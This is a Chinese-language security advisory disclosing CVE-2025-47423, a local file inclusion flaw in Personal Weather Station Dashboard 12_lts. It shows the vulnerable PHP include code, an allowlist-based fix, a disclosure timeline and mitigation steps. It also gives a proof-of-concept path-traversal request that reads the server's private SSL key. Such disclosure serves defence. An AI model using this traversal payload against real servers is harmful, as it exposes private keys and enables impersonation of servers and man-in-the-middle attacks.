CVE-2025-47423 – Personal Weather Station Dashboard (12_lts) 中的本地文件包含漏洞

发现者： Matthew Eagle
状态： 公开披露
报告日期： 2025-05-05
CVE ID： CVE-2025-47423

---

🧩 摘要

Personal Weather Station Dashboard 版本 12_lts 中存在一个本地文件包含（LFI）漏洞，允许未经身份验证的远程攻击者读取服务器上的任意文件。利用此漏洞可访问包括私有 SSL 密钥在内的敏感文件，可能危及 HTTPS 连接的机密性和完整性。

---

🛠 受影响组件

• 文件：/others/_test.php
• 易受攻击的参数：test（通过 GET 传递）

---

📈 影响

此漏洞允许远程攻击者：

• 读取文件系统上的任意文件
• 泄露私有 SSL 密钥（例如 server.key）
• 执行中间人（MITM）攻击
• 冒充 HTTPS 服务器

CVSS：5.8 中等

---

💥 概念验证（PoC）

GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com

响应：

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----

---

🧪 易受攻击的代码（简化版）

$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);

str_replace 不足以防止目录遍历。

---

🔐 安全修复

• 对包含目标使用严格的允许列表
• 使用 basename() 清理输入，并与允许的文件进行比对
• 避免基于用户输入进行动态包含

$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';

if (!in_array($script, $allowed_tests)) {
    die("Invalid test file.");
}

include(__DIR__ . '/scripts/' . $script);

---

📅 时间线

日期	事件
2025-05-05	漏洞已报告给 PWS Dashboard 版主
2025-05-06	已确认收到并观察到测试
2025-05-07	通过 MITRE 预留 CVE-2025-47423
2025-06-07	确认公开补丁及 CVE 列表

---

🧠 缓解措施

如果您正在运行 Personal Weather Station Dashboard 12_lts，您应该：

• 立即移除或更新 _test.php
• 实施带有文件白名单的修复脚本
• 轮换并重新签发任何已泄露的 TLS 证书

---

🧾 参考资料

• MITRE 上的 CVE-2025-47423（待定）
• 发布于 GitHub 的公告

---

🙏 致谢

漏洞由 Matthew Eagle 发现并负责任地披露
联系方式：[email protected]

---

披露过程遵循负责任披露准则。本文档出于教育和防御目的发布。